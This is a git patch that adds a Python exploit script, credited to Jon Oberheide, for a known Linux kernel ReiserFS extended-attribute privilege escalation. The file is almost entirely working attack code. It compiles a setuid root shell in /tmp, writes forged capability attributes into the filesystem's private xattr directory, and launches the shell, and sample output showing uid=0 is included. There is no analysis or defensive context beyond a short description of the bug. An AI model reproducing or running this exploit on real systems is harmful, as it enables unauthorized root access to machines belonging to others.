From 5ac95d5190bdcfe076dd988b7f6a5ed3b644e11b Mon Sep 17 00:00:00 2001 From: Brock Date: Fri, 26 Dec 2014 15:25:03 +0800 Subject: [PATCH] changed --- exp/xattr.py | 111 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 111 insertions(+) create mode 100644 exp/xattr.py diff --git a/exp/xattr.py b/exp/xattr.py new file mode 100644 index 0000000..23dbe34 --- /dev/null +++ b/exp/xattr.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python + +''' + team-edward.py + + Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation + Jon Oberheide + http://jon.oberheide.org + + Information: + + https://bugzilla.redhat.com/show_bug.cgi?id=568041 + + The kernel allows processes to access the internal ".reiserfs_priv" + directory at the top of a reiserfs filesystem which is used to store + xattrs. Permissions are not enforced in that tree, so unprivileged + users can view and potentially modify the xattrs on arbitrary files. + + Usage: + + $ python team-edward.py + [+] checking for reiserfs mount with user_xattr mount option + [+] checking for private xattrs directory at /.reiserfs_priv/xattrs + [+] preparing shell in /tmp + [+] capturing pre-shell snapshot of private xattrs directory + [+] compiling shell in /tmp + [+] setting dummy xattr to get reiserfs object id + [+] capturing post-shell snapshot of private xattrs directory + [+] found 1 new object ids + [+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468 + [+] spawning setuid shell... + # id + uid=0(root) gid=0(root) groups=4(adm), ... + + Notes: + + Obviously requires a ReiserFS filesystem mounted with extended attributes. + Tested on Ubuntu Jaunty 9.10. +''' + +import os, sys + +SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }' +XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + +def err(txt): + print '[-] error: %s' % txt + sys.exit(1) + +def msg(txt): + print '[+] %s' % txt + +def main(): + msg('checking for reiserfs mount with user_xattr mount option') + + f = open('/etc/fstab') + for line in f: + if 'reiserfs' in line and 'user_xattr' in line: + break + else: + err('failed to find a reiserfs mount with user_xattr') + f.close() + + msg('checking for private xattrs directory at /.reiserfs_priv/xattrs') + + if not os.path.exists('/.reiserfs_priv/xattrs'): + err('failed to locate private xattrs directory') + + msg('preparing shell in /tmp') + + f = open('/tmp/team-edward.c', 'w') + f.write(SHELL) + f.close() + + msg('capturing pre-shell snapshot of private xattrs directory') + + pre = set(os.listdir('/.reiserfs_priv/xattrs')) + + msg('compiling shell in /tmp') + + ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward') + if ret != 0: + err('error compiling shell, you need gcc') + + msg('setting dummy xattr to get reiserfs object id') + + os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward') + if ret != 0: + err('error setting xattr, you need setfattr') + + msg('capturing post-shell snapshot of private xattrs directory') + + post = set(os.listdir('/.reiserfs_priv/xattrs')) + + objs = post.difference(pre) + + msg('found %s new object ids' % len(objs)) + + for obj in objs: + msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj) + + f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w') + f.write(XATTR) + f.close() + + msg('spawning setuid shell...') + + os.system('/tmp/team-edward') + +if __name__ == '__main__': + main()